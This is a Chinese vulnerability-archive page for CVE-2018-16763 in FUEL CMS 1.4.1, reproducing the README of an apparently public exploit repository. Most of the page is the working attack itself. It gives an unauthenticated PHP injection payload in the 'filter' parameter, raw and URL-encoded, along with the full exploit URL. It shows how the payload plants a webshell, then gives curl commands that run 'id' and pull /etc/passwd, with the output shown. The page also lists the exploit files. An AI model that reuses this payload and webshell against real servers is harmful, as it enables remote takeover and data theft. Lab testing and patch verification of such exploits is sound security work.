POC详情: bdce34b9dcdcd9c13ce7a7a2fb9d82d9c87e3a27

来源
关联漏洞
标题: FUEL CMS 注入漏洞 (CVE-2018-16763)
描述:FUEL CMS是一款基于Codelgniter框架的内容管理系统(CMS)。 FUEL CMS 1.4.1版本中的pages/select/页面的‘filter’参数和preview/页面的‘data’参数存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。
描述
Exploit to trigger RCE for CVE-2018-16763 on FuelCMS <= 1.4.1 and interactive shell. 
介绍
# CVE-2018-16763 - FuelCMS <= 1.4.1 RCE

<p align="center">
    Exploit to trigger RCE for CVE-2018-16763 on FuelCMS <= 1.4.1 and interactive shell.
    <br>
    <img alt="GitHub release (latest by date)" src="https://img.shields.io/github/v/release/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE">
    <a href="https://twitter.com/intent/follow?screen_name=podalirius_" title="Follow"><img src="https://img.shields.io/twitter/follow/podalirius_?label=Podalirius&style=social"></a>
    <a href="https://www.youtube.com/c/Podalirius_?sub_confirmation=1" title="Subscribe"><img alt="YouTube Channel Subscribers" src="https://img.shields.io/youtube/channel/subscribers/UCF_x5O7CSfr82AfNVTKOv_A?style=social"></a>
    <br>
</p>

## Features

 - [x] Automatically uploads a php webshell API in FuelCMS using CVE-2018-16763.
 - [x] Execute system commands via an API with `?action=exec`.
 - [x] Download files from the remote system to your attacking machine with `?action=download`.

## Usage

**Requirements**: Nothing is required, this exploit is unauthenticated.

### Step 1: Upload the webshell plugin

First, you need to start the interactive [console.py](console.py) to execute commands and download remote files. It will use CVE-2018-16763 php code injection in the `filter` parameter to upload a php webshell API in FuelCMS using `file_put_contents`. The payload used is the following:

```
'+pi(print($a='file_put_contents'))+$a($_POST["d0eb3f9a"],$_POST["9bc30f43"])+'
```

This payload urlencoded gives:

```
%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
```

The final exploit URL is:

```
http://127.0.0.1:10080/fuel/pages/select/?filter=%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
```

Now the interactive [console.py](console.py) performs a POST request to this URL to upload [./webshell/webshell.php](./webshell/webshell.php) into Fuel CMS.

![](./.github/shell_autoupload.png)

### Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with `action=exec&cmd=id`:

```sh
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}
```

You can also access it by a GET request from a browser.

### Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with `action=download&cmd=/etc/passwd`:

```sh
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
```

You can also download a remote file from a browser with a GET request.

### Step 3: The interactive console

When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files.

https://user-images.githubusercontent.com/79218792/171498197-2fb8a7bd-45b0-4fd7-86a1-9bb74aa31664.mp4

## References
 - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4
文件快照

[4.0K] /data/pocs/bdce34b9dcdcd9c13ce7a7a2fb9d82d9c87e3a27 ├── [6.7K] console.py ├── [4.2K] README.md ├── [4.0K] test_env │   ├── [2.0K] Dockerfile │   ├── [4.0K] files │   │   ├── [7.2K] apache2.conf │   │   └── [5.5K] database.php │   └── [ 437] Makefile └── [4.0K] webshell └── [2.8K] webshell.php 3 directories, 7 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。